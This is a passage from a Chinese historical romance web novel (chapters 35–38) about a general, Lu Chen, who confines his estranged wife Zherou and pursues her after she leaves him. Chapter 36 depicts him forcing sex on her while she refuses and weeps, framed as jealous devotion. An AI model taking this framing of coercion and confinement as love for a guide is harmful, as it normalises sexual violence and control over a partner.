“陆秉言,从知晓你和徐十六娘的事开始,我就已经忍的够久了,你欺负她,就是和我有关!她背井离乡地跟着你去了上京,受了欺负没人替她撑腰出气,我来!” 这一记拳用足了力气,陆谌被打得头偏向一边,唇角登时渗出血来。 他们两个自幼一同长大,在一处学武,身手招式难分上下,也熟稔至极,陆谌若想避开这一下倒也不难,只是他没想躲。 妱妱出事,怪他自负太过,总以为一切都在他的掌控之内。 他以为自己可以将事情瞒得很好,她什么都不必知晓,只需安稳着过她的日子,等他扳倒徐崇,等他为她求来诰命。 可这世上的事,哪有什么是万无一失的? 如今谢云舟要替她出气,他挨这一下也算不得冤枉。 “还真是个重情重义的好儿郎。”陆谌抬起手,用指腹抹去唇角血痕,冷嘲道:“可惜,她心里没你。” 谢云舟微微扬起下巴,斜乜着他,不甘示弱地回讽:“是,她心里有你,那又如何?可惜啊,她不想要你了!” 这一句彻底戳痛了陆谌心中伤处,咬牙对视片刻,陆谌的呼吸渐渐粗沉,忽然反扣住谢云舟的手臂,猛地提拳挥了过去。 谢云舟也还手扑来。 两个人身上都带着伤,又太过熟悉彼此的招数习惯,手下很快便没了章法,近乎是泄愤般地扭打到一处,拳拳往对方伤处招呼,半分不留情面。 厮打半晌,彼此都几近力竭,陆谌寻到机会,一把反剪了谢云舟的双手,将他死死地压制在身下,喘息着冷哂:“我与妱妱是结发的夫妻,难不成你当真以为她会离了我,同你在一处?” 谢云舟半边脸颊都被紧紧按在湿润的草地上,急促地喘了几大口气,咬牙挣扎:“她离不离也由不得你!就算她不肯,大不了日后我胥国公府给她做娘家,爷乐意!” 陆谌勾唇一嗤,眼神讥讽地看向他,凉声道:“李家血脉倒是出了个情种,倘若教官家知晓,你觊觎表兄发妻,甚至为此多年不娶,不知他会如何作想?” 谢云舟微微一滞,旋即猛一用力翻挺过来,挣脱了陆谌的辖制,反向他腹间捣去一拳,怒声骂道:“我去你娘的陆秉言,少给自己脸上贴金!你娘都已写了休书,她还算你哪门子发妻!” 陆谌生生受了这一下,一瞬间仿佛五脏六腑都移位揪缩到了一处,疼得他不自觉佝偻起腰背,痉挛着喘息,好半晌,他捂住腰腹站直身来,赤红着眼看向谢云舟。 “李桢承不得大位,官家膝下只剩一个六岁皇孙,你又能随心所欲潇洒多久?你想求娶她这样一个身无依傍的孤女,你猜官家可会应允?到那时,他是会责你浪荡不知事,还是会怪妱妱红颜祸水?” 陆谌咬紧了牙,一字一句满是沉怒:“谢鸣岐,莫忘了你的身份!你对妱妱生出不该有的心思,就是在害她!” 谢云舟本已要抬步离开,听清了这番话,整个人顿时僵凝在原地,攥紧了拳头,一动不动。 陆谌冷冷地看了他一眼,些微地踉跄着,转身大步离去。 第35章 软禁 回到小院已近深夜,月色深浓如霜,泻落满地清辉。 院落里树影斑驳,静谧无声,她洗衣用的木盆还散在院中,不曾收起。陆谌淡淡扫过一眼,走上石阶,推门进屋。 折柔心中存着事,身上也不大舒坦,夜间睡得并不安稳,迷迷糊糊中将要有些睡意,忽然听见屋门开合的声音,不多时,庖厨里又隐约传来窸窸窣窣的响动,直扰得人心中烦乱。 她勉强又睡了一会儿,就听见陆谌走进卧房,旋即榻边微微一沉,一条胳膊伸过来,搂住了她的腰,停顿片刻,炙热的掌心向下移到腹间,来回轻抚。 本就不多的睡意一瞬消散干净,不知他是还惦记着先前未成的床笫之事,还是又想起那个失去的孩子。 不论哪一种,都教她心中闷痛。 折柔闭目忍了片刻,实是恼恨陆谌这般不守分寸,迷糊中捉住他的手腕,想要推去一旁。 不想这一动,陆谌反倒直接将她揽进了怀里,半是强制地扳过她脸颊。 折柔忍不住微微蹙起眉头,含混着问道:“……又做什么?” 陆谌并未应声,下一瞬,温润微凉的瓷碗贴上唇瓣。 折柔一怔。 陆谌从后托起她的身子,声音冷寒,又带着说不出的疲意:“把这碗蜜姜饮子喝了再睡。” 从前在洮州天冷苦寒,若赶上哪月她不大注意,碰过冷水受了寒,来月事时便少不了要吃苦头,后来陆谌同她学了这方子,只要他不在军中,便都会按时熬给她喝。 其实今日她月事已过,先前只是情急之下的托辞,不想他这般轻易当了真,深夜回来,还惦记着熬上一碗姜汤。 折柔喉头忽而有些发哽,说不出心里是什么滋味,攥着被衾的指尖用力到发白。 姜汤熬得温度合宜,热而不烫,又加了些红糖和槐蜜,喝起来不算太辣,喝下去将将能发散出一层薄汗,暖身驱寒效用极好。 喝完姜汤歇下,陆谌又将她往怀里拢了拢,让她同他紧紧依偎着睡去。 折柔这一觉睡得昏沉,翌日醒来,陆谌已不见了踪影,榻边空无一人,她伸手摸了摸,枕褥都已发凉。 仿佛昨日诸般情形不过是她做的一场梦。 然而起身推开门,看见院中人的一瞬,她就知晓不是在做梦。 南衡正抱着刀守在阶下,见她出来,忙上前行礼道:“郎君出去办事,说是晌午前后就回来,还请娘子稍待。” 折柔点点头,想要出门,却被南衡拦住了去处。 他颇有些为难,抬头觑了折柔一眼,硬着头皮道:“娘子,郎君出门前特意吩咐过,等他回来。” 折柔愣了一瞬,明白了。 这是要软禁她。 虽然隐约有所预料,可眼见成实,她仍是气得发笑。 陆秉言还真是有本事,她将将生出些犹豫和不安,他就适时地送来当头一棒。 昨夜的一时心软简直像个笑话,他到底把她当什么?圈养在后院的花草鸟雀么? 好吃好喝,悉心照料,心中挂念着她,却又蛮横霸道全然不顾她的意愿。 她心中存着怨愤,等到晌午,陆谌回来时她也没有理会,只安静地坐在榻边,就着透过支摘窗的几分天光,低头读着手中书卷。 日光被窗格细细切割成玲珑的菱形,交错着映亮她半边白玉似的面颊,几缕碎发轻垂下来,恬淡安然,恍惚间竟像是回到了洮州。 陆谌喉结微滚,忍不住上前硬把人拉进怀里,热烫的吻细细碎碎落在她颈后,哑声呢喃,“妱妱。” 他一靠过来,折柔便发觉他身上不对劲,浑身滚烫,分明是发起了高热。 陆谌环在她腰间的手臂慢慢收紧,折柔不理他,只僵硬地沉默。 陆谌似也不大好受,把头埋进她的颈窝,默不作声地抱了她好一会儿。折柔渐渐被他周身体温熏烫得难受,正想伸手将他推开,忽觉肩头一沉。 她微怔,轻唤一声:“陆秉言?” 没有人应声。陆谌不知何时支撑不住,抵着她的肩头,不知不觉的昏了过去。 回想起昨日他腰腹间透出的血迹,折柔心口莫名一紧,起身唤了南衡进来,问道:“陆谌身上有伤?” 听她这一问,南衡倒是有些意外,“怎么郎君不曾和娘子提起过?娘子走后不久,郎君便在上京遇了刺。” 听见“遇刺”两字,折柔心下微微一颤,少顷,她定了神,点头应道:“那大抵是伤势反复,他眼下发了高热,你送他去医馆罢。” 南衡不由一怔,迟疑道:“娘子不就通晓医术么?” 折柔抿紧了唇,没有作声。 任谁被禁足关上半日都会有怨气,她心里正恼恨着陆谌行事的蛮横,哪里还有照料他的心思? 觑着她的神色,南衡隐约猜出几分缘由,犹豫片刻,他咬了咬牙,索性心一横,直言道:“娘子或许不知,郎君为了寻娘子下落,自从上京出来一路上片刻未停,几百里的脚程,马背上颠簸数日,伤处不知迸裂了几回,这才引得伤势反复,娘子……当真忍心不管不顾么?” 听出了他话中隐隐的不忿,折柔不禁觉得可笑,眼睫低垂着,轻声道:“所以我要感谢他不顾伤重、千里迢迢地追过来强迫于我,对么?” 南衡发觉她会错了意,急忙出声,想要为自家郎君辩解:“娘子切莫误会!郎君是误以为娘子被水匪掳走,担心娘子安危才这般拼了命地赶路,直追到归德府一带收到线报,得知娘子不曾落入水匪手中,这才停下稍作歇息。绝非是为了旁的!” 折柔不再作声,低头看着陆谌苍白憔悴的面容,心中实是又恨又痛,半晌,暗自叹了口气,伸手去解他衣衫。 除去里衣,折柔就见他腰间胡乱缠着几道细布,大片血迹一层层地渗出来,边缘已经变暗发乌,一看就是路上不曾好好处置过,至多草草换过几回药,挨到此刻,只怕已经发红生疡。 折柔咬了咬牙,回头吩咐南衡去打温水,再拿烈酒和干净帕子过来。 南衡见她肯接手处置,赶忙松快地应了一声,转身去打水取药。 折柔仔细净了手,小心揭去已被血粘住的细布,又重新用烈酒给他擦洗换药,陆谌在昏沉中被剧痛唤醒,咬牙低喘着,勉强把眼皮撑开一条细缝,漆黑的眼眸浸了汗意,微微湿漉,一眨不眨地看向她。 折柔被他那眼神看得不大好受,起身便要出去。 陆谌一把扯住她的衣袖,嗓音干哑:“别走。” “刀伤还未愈合,不要乱动,我去给你端药来。” 闻言,陆谌微顿一霎,旋即声音里不自觉地带上点笑意,转眸去寻她的眼睛,“妱妱,你这是心疼我?” 折柔把衣袖从他手中抽出来,低声道:“我是医者,便是素不相识的路人,我也不会放任不管。” 心头忽又一沉,陆谌微微眯起眼,嗓音发寒:“我如今在你眼里,不过是个素不相识的路人,嗯?” 折柔抿着唇,没有应声。 陆谌把僵在半空的手收回来,咬牙闭上了眼,偏过头去。 两个人都不再说话,陆谌断断续续地烧了小半日,直到傍晚才有退温的迹象,只是人还昏睡着,不曾全然清醒。 折柔也不再管他,独自换了身衣裳,起身出门。 南衡见她出来,立时警惕起来,站直身子,“娘子?” 折柔看了他一眼,淡淡道:“今日是中元,我要给孩儿送盏河灯,也不行?” 听她提起孩子,南衡不由怔住了,犹豫半晌,终是咬牙道:“那属下同娘子一道。” 折柔当真只是心中难过,记挂着要去放一盏河灯,倒也不曾存着偷逃的念头,有人跟着也没甚妨碍,便没有出言拒绝。 见状,南衡心下一松,招手唤来一个护卫,吩咐他等郎君醒后回禀详情,自己则尾随在折柔身后,出了院门。 宿州虽比不得江宁一带富庶,却也是汴河上的重要商埠,人口繁茂,热闹非常。 今夜两岸放河灯的人极多,四处人头攒动,熙熙攘攘,水面上烛光潋滟,成百上千盏花灯连绵如星河,折柔勉强寻了一处空地,弯腰蹲下,将手里的河灯送入水中。 一盏给爹娘,一盏给那个未曾谋面的孩子。 不是不愧疚的。 说不清的悲哀与酸涩隐隐缠绞上心脏,她初为人母,狠下心肠舍弃了那个同自己血脉相连的孩子,竟也未能和陆谌断个干净彻底,如今想来只觉讽刺。 静静地看着水面上荷花灯摇晃着飘远,她正要提裙起身,却不知从何处猛地窜出个蒙面男子,身形迅捷异常,也不及折柔反应,一把将她稳稳扣入怀中,足尖一点,纵身越过人群,往远处掠去。 “娘子!” 变故生得猝不及防,南衡大惊失色,猛地回过神来,当即拔腿追去,身边却忽然涌来人群冲挤牵绊,他脚下只稍慢了两步,竟已被甩脱在后。 蒙面男子将折柔紧紧揽在怀中,迅速地飞身掠向河面,跃上一条就近停泊的舟船,船上的人即刻摇起浆板,向桥洞深处匿去。 南衡急得红了眼,再也顾不上旁的,直接同碍事的人动了手,一路沿岸在人群中左右奔突急赶,却仍是眼睁睁看着那条小船顺风而下,根本追击不及。 眼见舟船就要匿入暗处,离开人群喧嚣,折柔心头大骇,勉力取下头上发簪,正要奋力挣扎,忽听身后的人急急唤道:“九娘!是我!别怕。” 惊慌中听见这熟悉的一声,折柔不由愕然顿住,好半晌,才迟疑着唤了一声:“鸣岐?” 谢云舟应了一声,将她稳稳放在船板上,抬手拽下面衣,扯唇苦笑了下,“陆秉言防我跟防贼似的,我想去寻你,等了整一日也没个机会,总算等到你出了院门,只能用上这法子。” 折柔一怔,“你寻我有事?” 谢云舟看着她,开口先解释了一句,“九娘,我不曾将你的行踪泄漏给他。” 不成想他还记挂着这个,折柔不由得弯唇笑笑,“我知道,你不会。” 谢云舟扬唇笑笑,复又轻哂道:“他陆秉言的狗脾气我再熟悉不过,如今既然追过来,必定要强行带你回京。” 停顿一霎,他喉结微滚,俊眸抬起,定定地看向折柔,认真道:“但你若是想清楚,当真不愿再同他好,我便送你离开,给你另寻一处地方安置下来。” 入夏酥暖的夜风拂过河面,折柔看着青年澄澈干净的眼神,听了这话不免有一瞬的动容。 可越是如此,有些话越是要与他说清楚,她做不到这般心安理得地受他恩惠,折柔拧眉思量半晌,犹豫着开口:“鸣岐……” “九娘,你不必多想。”谢云舟忽而打断她的话,看着她微愣的神情,自嘲般勾了勾唇角,“就当是我报答当年你在洮州的救命之恩吧。” 折柔一怔,抿了抿唇,想要点头应下。 就在此时,突然“铮——”一声利响,一支钢羽弩箭不知从何处急射而来,锋锐箭头狠狠钉入二人之间的空地,距谢云舟脚前堪堪不过半寸,箭身没入船板大半,瞬间飞溅起数片细碎木屑,箭羽还在嗡嗡震颤。 折柔猛地一惊,本能地向后退了几步,脚下一时不稳,险些被船绳绊倒,好在谢云舟及时伸手,一把将她扶稳,反手护在身后。 不待她回头,不远处的岸上,一道竭力压抑着怒意的声音已经冷冷响起。 “妱妱,回来。” 第36章 强要 折柔刚走不久,陆谌便已醒转,听闻她去河边放灯,本想寻着她,陪她一道给孩儿送灯,却不想正撞见她被人劫走。 换做旁人或许还认不出,可他和谢云舟自幼一同长大,谢云舟便是化作了灰他也能一眼就认出。 一路追赶到此处,心中怒意早已翻腾汹涌,陆谌直接从马背跃上了船板,朝两人走过去。 折柔不曾想到陆谌会这样追上来,心脏砰砰急跳着,勉强镇定在原地。 谢云舟也看清了来人,立时往前一步,将她挡在身后,拧眉道:“陆秉言,你站住。” 这样熟稔回护的姿态简直像当胸一剑,刺得陆谌心头剧痛,妒意沸腾如焚。 明明是他的妻子,却被旁的男人护在身后,何其可笑? 他抬起头,冷冷地看向谢云舟,隐忍着沉怒道:“放开她。” 谢云舟却不肯松手,反而又扯着折柔的手臂,更往身后藏了藏,讥讽道:“休书已签,九娘的事,你管不着。” 额角青筋突突直跳,心头怒火一阵阵地高涨起来,陆谌再也忍耐不下,上前反手格开谢云舟,一把将人拉了过来,“妱妱,同我回去。” 折柔抿了抿唇,心中实是不愿,用了力气想要挣脱,谢云舟见状,猛地扣住陆谌手臂,怒道:“她回不回去,由不得你!放开!” 陆谌没有心思同他多作纠缠,看了南衡一眼,示意动手。 谢云舟一瞬便被数个护卫团团围住,他向来不叫太多护卫跟随,眼下只有他和周霄两个,双拳难敌四手,一时间难以脱身,眼见要招架不住,他气红了眼,一边勉力护着人,一边咬牙斥骂:“陆秉言你混账!你要动她一下,从今往后兄弟也没得做!” 陆谌丝毫不作理会,寻到一处间隙,也不待折柔回过神,直接将她拽了过来,不由分说地拦腰抱起,几步走到岸边,提举着扔上了马背。 不待她挣扎起身,陆谌已经翻身而上,一把扯过缰绳,轻夹马腹,扬鞭往路上行去。 折柔被颠得发晕,好容易坐起身子来,却讶异地发现眼前并不是回往小院的方向,而是正往僻静的城郊而去。 她惶然回头,“陆秉言,你要去哪里?” 陆谌却一言不发,侧脸线条紧绷如冷铁。 一路行到郊外山林,陆谌翻身下马,伸手将她抱了下来,径直抵按到旁边的树上,禁锢在怀中,一把扯开她轻薄的褙子,俯首吻咬上她纤柔的脖颈,呼吸急沉。 陆谌早已教满腔的妒恨烧尽了理智,血潮汹涌着拍向耳膜,几日来积蓄的沉郁和隐约的一丝慌急在心头翻腾,脑中唯有一个念头越发清晰明烈,仿佛只有如此,才能确认她还在自己身边。 意识到他要做什么,折柔惊骇得脸色煞白,浑身都在发抖,抬手奋力推挣,“陆谌你疯了么?!这是在外面!” “那又如何?!从前在洮州,你我又不是没有过。” 陆谌狠狠钳住她的手腕,高大身形将她笼罩在怀中,几乎密不透风,压得她全然不能反抗。 羞恼、愤恨,连带着惊惶,仿佛潮水般一齐涌上心头,折柔只觉心头大恨,不知从何处生出的力气,咬牙从他臂弯间挣脱,踉跄着起身。 陆谌却一手擒住她纤细小巧的肩头,将人拦腰抱回来,不由分说地压覆到树干上,膝盖分抵开她细长的双腿,“躲什么?怎的,怕教鸣岐追来看见?” 折柔不可置信地抬起头,盈盈秀眸中盛满怒意。 “无耻!” “啪”地一声脆响,陆谌偏过脸去,眼下被指甲划出一道细细血痕。 树皮粗糙,折柔脊背磨得生疼,心中更是剧痛难当,泪水止不住地从眼中滑落下来,“放开,放开我!” 陆谌喉结微滚,带着薄茧的指腹抹去睑下血珠,揉按上她的唇瓣,迫着她尝了这一线甜腥,又低头吮吻吞缠,向下流连。 夜风寂寂,山林间静谧无声,只有两个人交错的喘息急促起伏。 折柔咬唇仰起头,天上皎白的圆月在她眼中变成模糊的一团影儿。 原以为当初的分别已经足够惨烈,却不想还会难堪到如此地步。 热烫的碎吻一路向下,炽热呼吸喷薄在她光洁的小月复,似痛又似痒,她挣动着想要逃离,发狠地去推搡陆谌肩头,却被他滚热的手掌死死按住,动弹不得。 陆谌对她的身子了若指掌,轻而易举便能引得她阵阵颤栗,可越是如此,就越是让她屈辱难捱,愤恨得难以面对自己。 折柔抗拒地咬紧唇瓣,不肯泄出一丝一毫的声响,纤细手指没入陆谌的发间,用了力向后拉扯。 陆谌却却不为所动,直到唇齿间泛起微咸的润泽,他起身掐住她的脸颊,迫着她仰起头,不由分说地深吻下去。 折柔被他紧紧锢在胸膛和树干之间,进退不得,只能被迫着承受侵袭,舌根渐渐被吮得痛麻,脑中生出阵阵晕眩,混乱迷蒙中,听见躞蹀带落在石子上,磕出清脆的一声细响。 她越发地惊慌,推捶着挣动。 陆谌一言不发,只是解下了衣衫,胡乱地堆叠几下,垫到她身后,隔开粗糙磨人的树皮。 折柔一瞬仰起脖颈,泪水顺着眼角无声地滑落下来。 夜色渐深,山林间越发安静,月色朦胧倾泻,在地上映出一团婆娑树影,无风而动,一阵阵有如水波潋滟。 身前,光裸劲瘦的手臂上热汗淋漓,陆谌捏起她的下巴,逼她睁眼。 “看着我。” 折柔心中恨极,闭着眼,将头扭去一边。 他低低地喘息,热气灼暖着她的耳,“唤我阿郎。” 折柔只是闭目咬紧了唇,不作理会,眼泪不断地流下。 陆谌被她的倔强牵引出心底一缕无望的孤绝。 数日前,他重伤未愈便急着离京,郑兰璧不知从何处闻讯,赶过去拦阻,怒到极处嘶声斥责,问他是不是要把自己的命当草芥。 草芥。 在沙场上,人命连草芥都不如。 那年韩嗣全率部贪功冒进,他所在的厢军中了羌人的埋伏,不知血战多少日夜,指甲缝里都是血,手心滑腻得握不住刀柄,身边同袍一个接一个地倒下去,他泡在腥黏的血水里,浑身再无半分力气。 他以为自己会死在这里。 是她把他从死人堆拖了出来,提着一把不知从何处捡来的、早已经卷了刃的残刀。 见到他的瞬间,她一把扔了刀,瘫软到地上,紧紧抱着他的脖颈失声痛哭。 她是那样柔润温和的性子,竟独自一人,豁出了性命去寻他,跋涉过沙场上的尸山血海,被吓得大半年都再不能吃肉,一见,一闻,便止不住地想吐。 真傻啊。 可这样的傻姑娘,怎就狠了心,非要从他身边离开? 他绝不答允,绝不! 她是他的妱妱,谁都不可以觊觎染指,他不准。 她只能是他的妻。 生前同衾,死后同穴。 心中钝痛难当,他越发加重了力道,偏要去惹得她难忍出声,仿佛唯有如此,方能些微填补几分他胸腔里的空荡荒芜。 渐渐感觉到滑腻,陆谌手上用力,扳过她的脸颊,沉声逼问:“妱妱,看清楚,是谁让你快活?” 折柔微微哽咽着,无力挣动。 混混沌沌地,不知过去了多久,她忽然察觉到异样,急忙伸手去推他,“不要……” 她舍弃了一个孩子,已是剜心蚀骨般的剧痛,更何况他今日这般行事已教她恨极,又怎会再同他有另一个孩子?绝不可以。 陆谌却恍若未闻,半分都不停。 折柔咬紧了牙,把头偏去一边,呜咽出声:“放开……我不想再要你的孩子。” 满是潮汗的掌心一把掐住她细嫩脸颊,陆谌面无表情地看着她,眼眸漆黑幽沉,浸透了深深寒意,“那你想要谁的?” 也不待她回答,陆谌呼吸急沉,黑漆漆的眼中戾气翻腾,也不知是想刺痛她,还是要剜自己的心,咬牙切齿地逼问:“鸣岐么?” 折柔受不住他这般讥讽羞辱,心中伤恨到极处,泪水汹涌而下,使足了力气去推打他腰间伤处,呜咽着恨声:“总归不要你的。” 未愈的刀伤再度迸裂,温热的鲜血顺着腰腹蜿蜒而下,陆谌疼得呼吸发颤,牙关紧咬,反倒是越发蛮狠。 伤口挣裂的痛楚不抵心中之万一。 陆谌咬紧了牙,一手将她抱举起来,一手扯动衣裳垫到她腰后。 察觉到她的抗拒闪躲,他一掌掐住她细软腰肢,黑眸沉沉地看着她,一字一句道:“我偏不答允。” 第37章 冷心 夜色浓稠,天际云雾轻移,掩住了远处的清淡月光,山林里四下阗静,黑暗无声。 山风微凉,纠缠折腾到最后,折柔已是满身疲累,困倦得昏昏欲睡,连指尖都失了力,软软垂下。 陆谌捞住她脱力下滑的身子,伸手向她身后摸去,这才发觉她背上不见浮汗,反倒有些发凉,只怕是受了寒。他心下一惊,一把抖开外袍将人裹得严实,打横抱进怀里,“妱妱?” 折柔身上一阵阵地发冷,忍不住微微蜷缩起来,本能地寻着热意,往他滚烫劲瘦的胸膛上贴靠。 怀里的人鬓发乌浓柔软,散乱着堆叠在颈间,遮住了大半张脸庞,整个人安稳地团伏在他臂弯里,呼吸轻软,仿佛一只归巢的倦鸟。 陆谌心下涩软难言,又将人往怀里紧拢了拢,长指勾开鬓边碎发,低头吻去她乌浓睫毛上咸湿的泪珠,“妱妱,往后都留在我身边,嗯?” 折柔没有作声,紧闭着双眼,脑中浑浑噩噩,也不知如今是什么光景,渺茫间像是做了个梦,却又不大真切。 她似乎睡了很沉很久,醒来时只见天色灰蒙,屋外飘起了细雪,四下里静谧无声。 门外隐约飘来烤芋头的香气,她抬鼻轻嗅了嗅,终于忍不住起身下榻,趿上绣鞋,走到门口。 一眼就见陆谌正坐下廊下,左手捏着个泥人,右手蘸了彩墨,正往泥人身上涂色描画。 愣怔片刻,她一霎惊喜,眼眸亮了起来,“这是给我的?” 走过去,看着那个丑胖的小泥人,还不待陆谌回答,她的语气已经变得笃定,笑吟吟道:“这就是给我的。” 见她这副模样,陆谌偏偏幼稚起来,存了心要逗弄她,仗着自己生得身量高大,站直身子,一手将磨喝乐高高举起来,好整以暇地看着她,“谁说是你的。” 她忍着脸颊泛起的热意,坚持道:“我说的。” 陆谌垂眸看她,“你喜欢?” 她点头,眸光盈盈。 “那唤声阿郎就给你。” “阿郎。” 可他竟又不知足,漆黑幽邃的眼眸中泛起笑意,低声引诱道:“好妱妱,叫点更好听的。” 她知晓他想听什么,可张了张嘴,实是羞窘得说不出口,索性踮起脚自己伸手去够。 却不料教他一把揽住腰肢,挣扎中她脚下不稳,不知被什么东西绊了一下,两个人齐齐向后倒在青石台阶上,陆谌手上未干的彩墨顺势糊上她脸颊,留下几处湿黏黏的触觉。 愣怔片刻,她是真的有些羞恼了,推开他起身要走,“陆秉言,你欺负我。” 陆谌赶忙伸手将她拉回来,无奈地往自己脸上也糊了一层墨,亲了亲她的额头,“傻妱妱,我几时欺负过你?” 停顿一霎,他又轻声叹了一句。 “我也舍不得欺负你。” 微微一怔,她抬头看去,眼前熟悉的面容却在下一瞬变得模糊不清,周遭的一切如同雪片融化消散,迅速地变幻褪去,只剩夜色茫茫,山林寂寂。 心中的委屈和痛楚忽然决堤似的崩溃,泪水止不住地汹涌而出,“陆秉言……” 滚热的泪水绵延不绝,流淌在胸口,仿佛岩浆灼穿皮肉,在他心头烙下一道道细密的烫疤。 陆谌的喉结滚了几滚,又将她往怀里紧了紧,抱着人朝林外走去。 ** 折柔醒来不知是何时,脑中仍是昏沉,暖融融的日光洒在脸上,却并不觉得舒服,喉咙也干涩得难受。 “醒了?” 陆谌就坐在榻边,听见声响,起身斟了一盏温茶,从后扶起她的身子,将人圈在怀里,喂她慢慢喝下。 温热的茶水润过喉咙,胃里稍觉舒泰,折柔慢慢睁开眼睛,睫毛轻颤,茫然地反应了一会儿。 见她眼中尽是懵懂迷离,陆谌放下茶盏,极其自然地伸出手,想去摸摸她的脸颊。 折柔回过神,认出眼前的人是他,下意识地偏头避开。 陆谌伸出的手滞在半空,整个人如同被鞭子狠狠地抽了一下,脸色一霎白得难看。 听得外面桨声欸乃,眼前又像是一处船舱,折柔忍不住蹙起眉,“这是哪里?” “淮河。”陆谌把僵在半空的手收回来,声音分外平静,“我在此处还有几桩要事,先去淮安暂住几日,等事情处置干净,我再带你回京。” 折柔心下一阵阵发凉,他这是铁了心不肯放她走,偏要同她强求,有他亲自监视,无人能帮她的忙,她根本无处可去。 她抿了抿唇,指尖深深掐入掌心,“陆秉言,你但凡还念着我们之间的半分情意,那便放我走,我不要回上京。” “从前是我的错,教你在上京过得不快活。”陆谌喉结微滚了几下,语气却是不容置喙的强硬,“回去后我会另置一处宅子,同我母亲分开住,再不会让她扰你半分。” 折柔早已不以为意,闻言只淡淡地笑了下,“生母尚在,你却分府别居,就不怕被言官弹劾不孝?” 陆谌拧起眉来,低声道:“妱妱,你当知晓,我并非权欲熏心之徒,只要你同我回去,旁的不论前程亦或权势,都不打紧。” “那你的家仇呢?也不打紧么?” “……妱妱!” 咬牙匀过一口气,陆谌深深地看向折柔,哑声允诺道:“徐崇的事我会尽快处置干净,不会扰到你半分。至于上京的官职……你若不喜,等来日事情安定,我也可以卸了差事,我们再回洮州去,你开药铺,我帮你打理杂务,只过寻常日子。” 心中忽然一阵闷痛,直让人眼眶泛酸。 分别多日,她不是没有幻想过陆谌会说出这样的话,想着他也能设身处地地为她考量几分,哪怕明知来日难以兑现。 可是时至今日,再听见他这般的承诺,她已经不想要了。 折柔忍不住自嘲地笑了笑,“想欺瞒便欺瞒,想逼迫便逼迫,想挽回便挽回,陆秉言,你到底把我当什么呢?” “我把你当妻子!”陆谌攥住她的手腕,眼尾隐隐泛红:“你是我拜过天地,立过婚契,明媒正娶的发妻。” 妻子么? 哪有这样的妻子呢。 折柔闭了闭眼,少顷,缓慢却坚定地推开他的手,平静道:“陆秉言,我们已经回不去了。” 额头青筋突突直跳,陆谌眼中不由涌起怒色,伸手拢住她的下巴,紧紧逼视着她:“你为何偏就如此固执?不肯与我回头?” 折柔被迫着同他对视,看着眼前这张熟悉至极的俊脸,心脏又是一阵抽痛,眼中渐渐蓄起朦胧泪意,好半晌,她轻声道:“因为我心悦你啊,陆秉言。” 因为我心悦你,所以尤为不能忍受那些伤害和欺侮。 教她如何去接受,这世上她最在意的人,偏偏伤她最深,给她最多难堪。 陆谌猛地一怔。 “妱妱……” “可是,我如今不想再喜欢了,也不想再同你在一处。”折柔打断他的话,闭目轻轻摇了摇头,泪珠无知无觉地滚落,“永远都不想了。” 只当从前她心悦的、那个说不舍得欺负她的陆秉言,已经死了。 陆谌彻底沉默下来,身形僵凝如铁。良久,他哑声道:“从前都是我的错,往后再不会如此。你我之间不会有旁人,我也绝不会要旁人。” 停顿片刻,陆谌替她擦去眼尾泪珠,带着薄茧的指腹轻轻摩挲她的脸颊,“妱妱,我只要你留在我身边,再与我生个孩儿,同我相伴到老,嗯?” 心中又是一阵酸痛,折柔偏头避开他的手,垂眸看着被衾上简单的纹路,语气分外冷淡:“你是堂堂三品上将军,若想要个孩子,上京城中多的是女子愿意为你生,何必非要强求于我?” “我要的是孩子么?” 被她这般排斥抗拒的态度刺痛,陆谌再也忍耐不住,一把扳过她的脸颊,咬紧了牙,声音里满是愠怒:“妱妱,你明明知道,我要的是你和我的孩子!” “可是我和你的孩子已经死了。”折柔只觉心头猛然一阵拧痛,如同涟漪般震荡向四肢百骸,她直视着陆谌的眼睛,一字一句地道:“陆秉言,它死了。是你逼我不要它的!” 陆谌脸色一霎变得惨白,仿佛被人当胸刺过一剑,眼中泛起赤红的血丝,下颌紧绷僵硬如冷铁。 看见他这副痛苦模样,些微报复的快意过后,折柔只觉满心的疲倦,好半晌,她低低地道:“陆秉言,过去的事都算了,你放我离开,我们好聚好散罢。” 陆谌气怒已极,指节攥得咯咯作响,一字一字从牙缝间艰涩挤出,“绝无可能。” “妱妱,你是我的妻。”陆谌捏起她的下巴,黑眸里一片幽沉深邃,“倘若有一日你离开我,就算上穷碧落下黄泉,我也要追你回来,你我生在一处,死也在一处。” 见他这般偏执不可理喻,折柔心中恨痛至极,说不清的悲哀与无力漫上心头,干脆别开眼,再不去看他。 门外忽然有人过来禀事。 听闻响动,陆谌看了眼舱门,回过头,抬手摸了摸折柔的脸颊,哑声道:“你好生歇息,旁的什么都不必再想。” 折柔抿紧了唇,低着头,也不理会。 陆谌复又看了她一眼,这才起身出去,关合舱门,神色淡淡地扫向南衡。 “何事?” “是京中传来消息,小郡王……”提及谢云舟,南衡小心地向上觑了觑陆谌的神色,又低头继续道:“前些时日,小郡王已剿灭大部水匪,拿了王仲乾与之勾结的证据,向官家上奏,说是王仲乾经由水匪之手‘借帽取底’,用以偷运私盐,牟利甚大,甚至与京中有所牵涉。昨日官家宣召皇城司指挥入禁中,大抵是要缉拿王仲乾入京受审。” 陆谌眸光微沉,“王仲乾在京中的家眷,可看紧了?” 南衡肃容点头,“郎君放心。” 沉吟片刻,陆谌低低应了一声,吩咐道:“到了淮安,先寻处稳妥之地安置了妱妱,至于王仲乾那头,我亲自过去。” 南衡应是。 宿州城中,折柔暂住的小院已经人去屋空。 谢云舟气得直咬后槽牙。 掂量片刻,周霄迟疑着问道:“公子可要遣人去路上阻拦?算算脚程,他们北上也不久,咱们有快船,追赶得及。” “不用了。” 周霄一愣。 “陆秉言难得南下走这一遭,断不会那般轻易就回去。”谢云舟抬头看着东南的方向,咬牙笑了笑,“如今王仲乾出了事,倘若我猜得不错,咱们这便启程回淮安,我就不信逮不着他。” 第38章 银镯(已修) 日光顺着低矮的支摘窗漫进舱室,映得小屋里亮堂堂一片,直晃人眼。 折柔稍稍歇了一阵,起身下榻。 陆谌推开舱门,弯腰走进船室,就见她倚在窗畔,望着外面粼粼的江面出神。 “妱妱。” 她仍看着窗外,分毫不理会。 陆谌眉眼微沉,走近了,将手中的青布包袱递过去,“在宿州小院里收拢的用物,看看可有漏下什么,若有要紧的,我再叫人回去寻。” 折柔抿了抿唇,这才转过头,垂着眼接过包袱。 她在宿州落脚不久,身边的琐碎物什并不多,全部身家也不过两贯铜钱,还是问叶家药堂预支的工钱,此外就是几件粗简的换洗衣裳,若说要紧,只有那对失而复得的银镯,她需得妥善安置。 